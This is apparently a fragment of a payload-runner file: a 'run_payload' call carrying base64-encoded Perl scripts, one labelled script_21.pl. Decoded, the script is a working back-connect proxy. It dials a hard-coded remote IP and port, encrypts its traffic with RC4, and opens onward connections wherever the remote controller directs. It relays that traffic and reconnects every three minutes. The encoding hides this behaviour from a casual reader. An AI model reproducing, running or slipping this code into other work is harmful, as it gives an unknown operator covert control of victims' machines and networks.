0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_21.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTcwJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KC